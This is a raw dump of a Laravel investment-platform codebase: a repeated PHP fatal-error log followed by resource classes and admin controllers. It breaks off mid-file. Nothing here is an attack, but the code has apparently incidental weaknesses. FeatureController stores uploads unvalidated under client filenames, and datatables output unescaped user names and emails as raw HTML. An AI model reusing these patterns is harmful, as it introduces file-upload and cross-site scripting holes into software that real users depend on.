/home/fluxyjvi/public_html/project/app/Http/Resources/ReferralCommissionResource.php:8 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/ReferralCommissionResource.php on line 8 [18-Nov-2025 15:02:14 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/InvestCheckoutResource.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/InvestCheckoutResource.php on line 7 [18-Nov-2025 15:04:43 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/BalanceTransferResource.php:8 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/BalanceTransferResource.php on line 8 [18-Nov-2025 15:44:14 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/WithdrawMethodResource.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/WithdrawMethodResource.php on line 7 [18-Nov-2025 19:53:31 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/SupportTicketResource.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/SupportTicketResource.php on line 7 [18-Nov-2025 19:53:32 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/TicketReplyResource.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/TicketReplyResource.php on line 7 [18-Nov-2025 19:59:06 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/TransactionResource.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/TransactionResource.php on line 7 [18-Nov-2025 20:53:29 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/MoneyRequestResource.php:8 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/MoneyRequestResource.php on line 8 [18-Nov-2025 22:18:31 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/InvestResource.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/InvestResource.php on line 7 [18-Nov-2025 23:14:27 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/WithdrawResource.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/WithdrawResource.php on line 7 [19-Nov-2025 00:00:27 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/InvestCheckoutResource.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/InvestCheckoutResource.php on line 7 [19-Nov-2025 00:02:24 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/BalanceTransferResource.php:8 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/BalanceTransferResource.php on line 8 [19-Nov-2025 00:45:02 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/WithdrawMethodResource.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/WithdrawMethodResource.php on line 7 [19-Nov-2025 05:33:45 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/InvestResource.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/InvestResource.php on line 7 [19-Nov-2025 06:19:39 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/WithdrawResource.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/WithdrawResource.php on line 7 [19-Nov-2025 17:58:03 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/ReferrarResource.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/ReferrarResource.php on line 7 [19-Nov-2025 19:28:15 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/DepositResource.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/DepositResource.php on line 7 [19-Nov-2025 20:54:47 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/BlogResource.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/BlogResource.php on line 7 [20-Nov-2025 00:45:37 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/ReferrarResource.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/ReferrarResource.php on line 7 [20-Nov-2025 02:36:33 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/BlogResource.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/BlogResource.php on line 7 [20-Nov-2025 12:32:40 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/TeamResource.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/TeamResource.php on line 7 [20-Nov-2025 15:43:30 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/TeamResource.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/TeamResource.php on line 7 [21-Nov-2025 16:41:34 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/ReferralCommissionResource.php:8 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/ReferralCommissionResource.php on line 8 [21-Nov-2025 16:41:47 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/DepositResource.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/DepositResource.php on line 7 [24-Nov-2025 10:06:20 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/WithdrawResource.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/WithdrawResource.php on line 7 [24-Nov-2025 10:07:29 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/InvestCheckoutResource.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/InvestCheckoutResource.php on line 7 [24-Nov-2025 10:09:44 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/TransactionResource.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/TransactionResource.php on line 7 [24-Nov-2025 10:11:27 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/MoneyRequestResource.php:8 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/MoneyRequestResource.php on line 8 [24-Nov-2025 10:12:53 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/InvestResource.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/InvestResource.php on line 7 [24-Nov-2025 10:15:59 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/DepositResource.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/DepositResource.php on line 7 [24-Nov-2025 10:17:29 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/ReferralCommissionResource.php:8 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/ReferralCommissionResource.php on line 8 [24-Nov-2025 11:51:10 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/WithdrawMethodResource.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/WithdrawMethodResource.php on line 7 [24-Nov-2025 12:46:58 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/SupportTicketResource.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/SupportTicketResource.php on line 7 [24-Nov-2025 12:47:30 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/TicketReplyResource.php:7 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/TicketReplyResource.php on line 7 [24-Nov-2025 12:48:46 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Http\Resources\Json\JsonResource" not found in /home/fluxyjvi/public_html/project/app/Http/Resources/BalanceTransferResource.php:8 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Resources/BalanceTransferResource.php on line 8 Resources/WithdrawMethodResource.php 0000644 00000001470 15111246734 0013677 0 ustar 00 <?php namespace App\Http\Resources; use Illuminate\Http\Resources\Json\JsonResource; class WithdrawMethodResource extends JsonResource { /** * Transform the resource into an array. * * @param \Illuminate\Http\Request $request * @return array|\Illuminate\Contracts\Support\Arrayable|\JsonSerializable */ public function toArray($request) { return [ 'id' => $this->id, 'currency' => $this->currency, 'name' => $this->name, 'photo' => url('/') . '/assets/images/'.$this->photo, 'min_amount' => $this->min_amount, 'max_amount' => $this->max_amount, 'fixed' => $this->fixed, 'percentage' => $this->percentage.'%', ]; } } Resources/WithdrawResource.php 0000644 00000001374 15111246734 0012541 0 ustar 00 <?php namespace App\Http\Resources; use Illuminate\Http\Resources\Json\JsonResource; class WithdrawResource extends JsonResource { /** * Transform the resource into an array. * * @param \Illuminate\Http\Request $request * @return array|\Illuminate\Contracts\Support\Arrayable|\JsonSerializable */ public function toArray($request) { return [ 'id' => $this->id, 'user' => $this->user, 'payment_method' => $this->method, 'amount' => showNameAmount($this->amount), 'fee' => showNameAmount($this->fee), 'status' => $this->status, 'details' => $this->details, ]; } } Resources/TicketReplyResource.php 0000644 00000001057 15111246734 0013205 0 ustar 00 <?php namespace App\Http\Resources; use Illuminate\Http\Resources\Json\JsonResource; class TicketReplyResource extends JsonResource { /** * Transform the resource into an array. * * @param \Illuminate\Http\Request $request * @return array|\Illuminate\Contracts\Support\Arrayable|\JsonSerializable */ public function toArray($request) { return [ 'id' => $this->id, 'message' => $this->message, 'photo' => url('/') . '/assets/images/'.$this->photo, ]; } } Resources/InvestCheckoutResource.php 0000644 00000001470 15111246734 0013703 0 ustar 00 <?php namespace App\Http\Resources; use Illuminate\Http\Resources\Json\JsonResource; class InvestCheckoutResource extends JsonResource { /** * Transform the resource into an array. * * @param \Illuminate\Http\Request $request * @return array|\Illuminate\Contracts\Support\Arrayable|\JsonSerializable */ public function toArray($request) { return [ 'id' => $this->id, 'user_id' => $this->user_id, 'plan_id' => $this->plan_id, 'currency_sign' => $this->currency->sign, 'currency_name' => $this->currency->name, 'user_name' => $this->user->name, 'user_email' => $this->user->email, 'amount' => $this->amount, ]; } } Resources/TransactionResource.php 0000644 00000001264 15111246734 0013233 0 ustar 00 <?php namespace App\Http\Resources; use Illuminate\Http\Resources\Json\JsonResource; class TransactionResource extends JsonResource { /** * Transform the resource into an array. * * @param \Illuminate\Http\Request $request * @return array|\Illuminate\Contracts\Support\Arrayable|\JsonSerializable */ public function toArray($request) { return [ 'id' => $this->id, 'type' => $this->type, 'txnid' => $this->txnid, 'amount' => showPrice($this->amount), 'profit' => $this->profit, 'date' => date('d M Y',strtotime($this->created_at)) ]; } } Controllers/Controller.php 0000644 00000000566 15111246734 0011721 0 ustar 00 <?php namespace App\Http\Controllers; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Foundation\Bus\DispatchesJobs; use Illuminate\Foundation\Validation\ValidatesRequests; use Illuminate\Routing\Controller as BaseController; class Controller extends BaseController { use AuthorizesRequests, DispatchesJobs, ValidatesRequests; } Controllers/Admin/InvestController.php 0000644 00000024242 15111246734 0014137 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use App\Classes\GeniusMailer; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\Generalsetting; use Datatables; use App\Models\Invest; use App\Models\Plan; use App\Models\Referral; use App\Models\ReferralBonus; use App\Models\Transaction; use App\Models\User; use Illuminate\Http\Request; use Illuminate\Support\Carbon; use Illuminate\Support\Facades\Session; class InvestController extends Controller { public $gs; public $allusers = []; public $referral_ids = []; public function __construct() { $this->middleware('auth:admin'); $this->gs = Generalsetting::findOrFail(1); } public function datatables(){ $datas = Invest::orderBy('id','desc')->get(); return Datatables::of($datas) ->editColumn('user_id', function(Invest $data) { return '<div> '.ucfirst($data->user->name).' <p>@'.$data->user->email.'</p> </div>'; }) ->editColumn('plan_id', function(Invest $data) { return '<div> '.$data->plan->title.' <p>'.showAdminAmount($data->profit_amount).' / '.$data->plan->schedule->name.'</p> </div>'; }) ->editColumn('amount', function(Invest $data){ return '<div> <strong>'.showAdminAmount($data->amount,2).'</strong> </div>'; }) ->editColumn('method', function(Invest $data) { return '<div> '.ucfirst($data->method).' </div>'; }) ->editColumn('status', function(Invest $data) { if($data->status == 0){ $status = "Pending"; $status_sign = $data->status == 0 ? 'warning' : ''; }elseif($data->status == 1){ $status = "Running"; $status_sign = $data->status == 1 ? 'info' : ''; }else{ $status = "Completed"; $status_sign = $data->status == 2 ? 'success' : ''; } return '<div class="btn-group mb-1"> <button type="button" class="btn btn-'.$status_sign.' btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.$status .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="javascript:;" data-toggle="modal" data-target="#statusModal" class="dropdown-item" data-href="'. route('admin.invests.status',['id1' => $data->id, 'id2' => 0]).'">'.__("Pending").'</a> <a href="javascript:;" data-toggle="modal" data-target="#statusModal" class="dropdown-item" data-href="'. route('admin.invests.status',['id1' => $data->id, 'id2' => 1]).'">'.__("Running").'</a> <a href="javascript:;" data-toggle="modal" data-target="#statusModal" class="dropdown-item" data-href="'. route('admin.invests.status',['id1' => $data->id, 'id2' => 2]).'">'.__("Completed").'</a> </div> </div>'; }) ->editColumn('profit_time', function(Invest $data){ return $data->profit_time ? Carbon::parse($data->profit_time)->toDateString() : '--'; }) ->addColumn('action', function(Invest $data) { return '<div class="btn-group mb-1"> <button type="button" class="btn btn-primary btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.'Actions' .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="javascript:;" data-href="' . route('admin.invests.show',$data->id) . '" class="dropdown-item" id="applicationDetails" data-toggle="modal" data-target="#details">'.__("Details").'</a> </div> </div>'; }) ->rawColumns(['user_id','plan_id','amount','method','status','profit_time','action']) ->toJson(); } public function index(){ return view('admin.invest.index'); } public function investdetails($id) { $invest = Invest::findOrFail($id); return view('admin.invest.details',compact('invest')); } public function status($id1,$id2){ $data = Invest::findOrFail($id1); $user = User::whereId($data->user_id)->first(); if($data->status == 2){ $msg = 'Invest already completed'; return response()->json($msg); } if($id2 == 2){ $msg = 'Invest will completed automaticlly by the system'; return response()->json($msg); } if($data->status == 1){ $msg = 'Invest is running'; return response()->json($msg); } $plan = Plan::whereId($data->plan_id)->first(); $data->status = 1; $data->payment_status = 'completed'; $data->profit_time = Carbon::now()->addHours($plan->schedule_hour); $data->update(); $this->refferalBonus($data); $msg = 'Data Updated Successfully.'; return response()->json($msg); } public function refferalBonus($order){ if($this->gs->is_affilate == 1){ $referralUser = User::whereId($order->user_id)->first(); if(Session::has('affilate') || ($referralUser != NULL && $referralUser->referral_id != 0)){ if(Session::has('affilate')){ $this->referralUsers(Session::get('affilate')); }else{ if($referralUser->referral_id != 0){ $this->referralUsers($referralUser->referral_id); } } $referral_ids = $this->allReferralId(); if(count($this->allusers) >0){ $users = array_reverse($this->allusers); foreach($users as $key=>$data){ $user = User::findOrFail($data); if($referral = Referral::findOrFail($referral_ids[$key])){ $referralAmount = ($order->amount * $referral->percent)/100; $bonus = new ReferralBonus(); $bonus->from_user_id = auth()->id(); $bonus->to_user_id = $user->id; $bonus->percentage = $referral->percent; $bonus->level = $referral->level; $bonus->amount = $referralAmount; $bonus->type = 'invest'; $bonus->save(); $to_user = User::findOrFail($bonus->to_user_id); $trans = new Transaction(); $trans->email = $to_user->email; $trans->amount = $referralAmount; $trans->type = "Referral Bonus"; $trans->txnid = $order->transaction_no; $trans->user_id = $to_user->id; $trans->profit = 'plus'; $trans->save(); if($this->gs->is_smtp == 1) { $data = [ 'to' => $to_user->email, 'type' => "referral bonus", 'cname' => $to_user->name, 'oamount' => $referralAmount, 'aname' => "", 'aemail' => "", 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); } else { $to = $to_user->email; $subject = "Referral Bonus"; $msg = "Hello ".$to_user->name."!\nYou got bonus from referral.\nThank you."; $headers = "From: ".$this->gs->from_name."<".$this->gs->from_email.">"; mail($to,$subject,$msg,$headers); } $user->increment('balance',$referralAmount); $referralAmount = 0; } } } } } } public function allReferralId(){ $referrals = Referral::where('commission_type','invest')->get(); if(count($referrals)>0){ foreach($referrals as $key=>$data){ $this->referral_ids[] = $data->id; } return $this->referral_ids; } } public function referralUsers($id) { $referral = Referral::where('commission_type','invest')->get(); for($i=1; $i<=count($referral); $i++){ $user = User::findOrFail($id); $this->allusers[] = $user->id; if($user->referral_id){ $id = $user->referral_id; }else{ return false; } } return $this->allusers; } } Controllers/Admin/FontController.php 0000644 00000010761 15111246734 0013576 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Models\Font; use Datatables; use Illuminate\Http\Request; use Validator; class FontController extends Controller { public function __construct() { $this->middleware('auth:admin'); } //*** JSON Request public function datatables() { $datas = Font::orderBy('id','desc'); //--- Integrating This Collection Into Datatables return Datatables::of($datas) ->addColumn('action', function(Font $data) { $delete = $data->is_default == 1 ? '':'<a href="javascript:;" data-href="' . route('admin.font.delete',$data->id) . '" data-toggle="modal" data-target="#deleteModal" class="dropdown-item">'.__("Delete").'</a>'; $default = $data->is_default == 1 ? '<a href="javascript:;" class="dropdown-item">'.__("Default").'</a>' : '<a class="status dropdown-item" href="javascript:;" data-href="' . route('admin.font.status',['id1'=>$data->id,'id2'=>1]) . '">'.__('Set Default').'</a>'; return '<div class="btn-group mb-1"> <button type="button" class="btn btn-primary btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.'Actions' .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="' . route('admin.font.edit',$data->id) . '" class="dropdown-item">'.__("Edit").'</a>'.$delete.$default.' </div> </div>'; }) ->rawColumns(['action']) ->toJson(); //--- Returning Json Data To Client Side } public function index() { return view('admin.font.index'); } public function create() { return view('admin.font.create'); } public function store(Request $request){ $rules = [ 'font_family' => 'required|unique:fonts', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $data = new Font(); $input = $request->all(); $input['font_value'] = preg_replace('/\s+/', '+',$request->font_family); if (Font::where('is_default', 1)->count() > 0) { $input['is_default'] = 0; } else { $input['is_default'] = 1; } $data->fill($input)->save(); $msg = 'New Data Added Successfully.'.'<a href="'.route("admin.font.index").'">View Post Lists</a>'; return response()->json($msg); } public function edit($id){ $data['data'] = Font::findOrFail($id); return view('admin.font.edit',$data); } public function update(Request $request,$id){ $rules = [ 'font_family' => 'required|unique:fonts,font_family,'.$id, ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $data = Font::find($id); $input = $request->all(); $input['font_value'] = preg_replace('/\s+/', '+',$request->font_family); $data->update($input); $msg = 'Data Updated Successfully.'.' '.'<a href="'.route('admin.font.index').'"> '.__('View Lists.').'</a>'; return response()->json($msg); } public function status($id1,$id2) { $data = Font::findOrFail($id1); $data->is_default = $id2; $data->update(); $data = Font::where('id','!=',$id1)->update(['is_default' => 0]); $msg = __('Data Updated Successfully.'); return response()->json($msg); } public function destroy($id) { if($id == 1) { $msg = __("You don't have access to remove this font."); return response()->json($msg); } $data = Font::findOrFail($id); if($data->is_default == 1) { $msg = __("You can not remove default font."); return response()->json($msg); } $data->delete(); $msg = __('Data Deleted Successfully.'); return response()->json($msg); } } Controllers/Admin/MessageController.php 0000644 00000015325 15111246734 0014255 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use App\Classes\GeniusMailer; use App\Http\Controllers\Controller; use App\Models\AdminUserConversation; use App\Models\AdminUserMessage; use App\Models\Generalsetting; use App\Models\User; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; use Datatables; class MessageController extends Controller { public function __construct() { $this->middleware('auth:admin'); } public function datatables() { $datas = AdminUserConversation::orderBy('id','desc'); return Datatables::of($datas) ->editColumn('created_at', function(AdminUserConversation $data) { $date = $data->created_at->diffForHumans(); return $date; }) ->addColumn('name', function(AdminUserConversation $data) { $name = $data->user->name; return $name; }) ->addColumn('status', function(AdminUserConversation $data) { $status = $data->status == 1 ? __('Open') : __('Closed'); $status_sign = $data->status == 1 ? 'success' : 'danger'; return '<div class="btn-group mb-1"> <button type="button" class="btn btn-'.$status_sign.' btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.$status .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="javascript:;" data-toggle="modal" data-target="#statusModal" class="dropdown-item" data-href="'. route('admin.message.status',['id1' => $data->id, 'id2' => 1]).'">'.__("open").'</a> <a href="javascript:;" data-toggle="modal" data-target="#statusModal" class="dropdown-item" data-href="'. route('admin.message.status',['id1' => $data->id, 'id2' => 0]).'">'.__("close").'</a> </div> </div>'; }) ->addColumn('action', function(AdminUserConversation $data) { return '<div class="btn-group mb-1"> <button type="button" class="btn btn-primary btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.'Actions' .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="' . route('admin.message.show',$data->id) . '" class="dropdown-item">'.__("Details").'</a> <a href="javascript:;" data-toggle="modal" data-target="#deleteModal" class="dropdown-item" data-href="'. route('admin.message.delete',$data->id).'">'.__("Delete").'</a> </div> </div>'; }) ->rawColumns(['name','created_at','status','action']) ->toJson(); } public function index() { return view('admin.message.index'); } public function message($id) { if(!AdminUserConversation::where('id',$id)->exists()) { return redirect()->route('admin.dashboard')->with('unsuccess',__('Sorry the page does not exist.')); } $conv = AdminUserConversation::findOrfail($id); return view('admin.message.create',compact('conv')); } public function usercontact(Request $request) { $data = 1; $admin = Auth::guard('admin')->user(); $user = User::where('email','=',$request->to)->first(); if(empty($user)) { $data = 0; return response()->json($data); } $to = $request->to; $subject = $request->subject; $from = $admin->email; $msg = "Email: ".$from."<br>Message: ".$request->message; $gs = Generalsetting::findOrFail(1); if($gs->is_smtp == 1) { $datas = [ 'to' => $to, 'subject' => $subject, 'body' => $msg, ]; $mailer = new GeniusMailer(); $mailer->sendCustomMail($datas); } else { $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } $conv = AdminUserConversation::where('user_id','=',$user->id)->where('subject','=',$subject)->first(); if(isset($conv)){ $msg = new AdminUserMessage(); $msg->conversation_id = $conv->id; $msg->message = $request->message; $msg->save(); return response()->json($data); } else{ $message = new AdminUserConversation(); $message->subject = $subject; $message->user_id= $user->id; $message->message=$request->message; $message->save(); $msg = new AdminUserMessage(); $msg->conversation_id = $message->id; $msg->message = $request->message; $msg->user_id=$user->id; $msg->save(); return response()->json($data); } } public function postmessage(Request $request) { $msg = new AdminUserMessage(); $input = $request->all(); $msg->fill($input)->save(); $msg = 'Message Sent!'; return response()->json($msg); } public function messageshow($id) { $conv = AdminUserConversation::findOrfail($id); return view('load.message',compact('conv')); } public function messagedelete($id) { $conv = AdminUserConversation::findOrfail($id); AdminUserMessage::where('conversation_id',$conv->id)->delete(); $conv->delete(); $msg = 'Data Deleted Successfully.'; return response()->json($msg); } public function status($id1,$id2){ $data = AdminUserConversation::findOrFail($id1); if($data->status == 0){ $msg = 'Ticket already Already closed'; return response()->json($msg); } $data->status = $id2; $data->update(); $msg = 'Data Updated Successfully.'; return response()->json($msg); } } Controllers/Admin/FeatureController.php 0000644 00000010570 15111246735 0014262 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Models\Feature; use Illuminate\Http\Request; use Datatables; use Validator; use Purifier; class FeatureController extends Controller { public function __construct() { $this->middleware('auth:admin'); } public function datatables() { $datas = Feature::orderBy('id','desc')->get(); return Datatables::of($datas) ->editColumn('icon', function(Feature $data) { return '<i class="'.$data->icon.'"></i>'; }) ->editColumn('title', function(Feature $data) { $title = strlen(strip_tags($data->title)) > 150 ? substr(strip_tags($data->title),0,150).'...' : strip_tags($data->title); return $title; }) ->addColumn('action', function(Feature $data) { return '<div class="btn-group mb-1"> <button type="button" class="btn btn-primary btn-sm btn-rounded dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> '.'Actions' .' </button> <div class="dropdown-menu" x-placement="bottom-start"> <a href="' . route('admin.feature.edit',$data->id) . '" class="dropdown-item">'.__("Edit").'</a> <a href="javascript:;" data-toggle="modal" data-target="#deleteModal" class="dropdown-item" data-href="'. route('admin.feature.delete',$data->id).'">'.__("Delete").'</a> </div> </div>'; }) ->rawColumns(['icon', 'action']) ->toJson(); } public function index() { return view('admin.feature.index'); } public function create() { return view('admin.feature.create'); } public function store(Request $request) { $rules = [ 'icon' => 'required', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $data = new Feature(); $input = $request->all(); if ($file = $request->file('photo')) { $name = time().$file->getClientOriginalName(); $file->move('assets/images',$name); $input['photo'] = $name; } $input['details'] = Purifier::clean($request->details); $data->fill($input)->save(); $msg = 'New Data Added Successfully.'.'<a href="'.route("admin.feature.index").'">View Feature Lists</a>'; return response()->json($msg); } public function edit($id) { $data = Feature::findOrFail($id); return view('admin.feature.edit',compact('data')); } public function update(Request $request, $id) { $rules = [ 'photo' => 'mimes:jpeg,jpg,png,svg', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } $data = Feature::findOrFail($id); $input = $request->all(); if ($file = $request->file('photo')) { $name = time().$file->getClientOriginalName(); $file->move('assets/images',$name); @unlink('/assets/images/'.$data->photo); $input['photo'] = $name; } $input['details'] = Purifier::clean($request->details); $data->update($input); $msg = 'Data Updated Successfully.'.'<a href="'.route("admin.feature.index").'">View Feature Lists</a>'; return response()->json($msg); } public function destroy($id) { $data = Feature::findOrFail($id); @unlink('/assets/images/'.$data->photo); $data->delete(); $msg = 'Data Deleted Successfully.'; return response()->json($msg); } } Controllers/Admin/FaqController.php 0000644 00000005500 15111246735 0013373 0 ustar 00 <?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Models\Faq; use DataTables; use Illuminate\Http\Request; class FaqController extends Controller { public function datatables() { $datas = Faq::orderBy('id','desc'); //--- Integrating This Collection Into Datatables return Datatables::of($datas) ->editColumn('details', function(Faq $data) { $details = mb_strlen(strip_tags($data->details),'utf-8') > 100 ? mb_substr(strip_tags($data->details),0,100,'utf-8').'...' : strip_tags($data->details); return $details; }) ->addColumn('action', function(Faq $data) { return '<div class="btn-group mb-1"> <button type="button" class="btn btn-primary 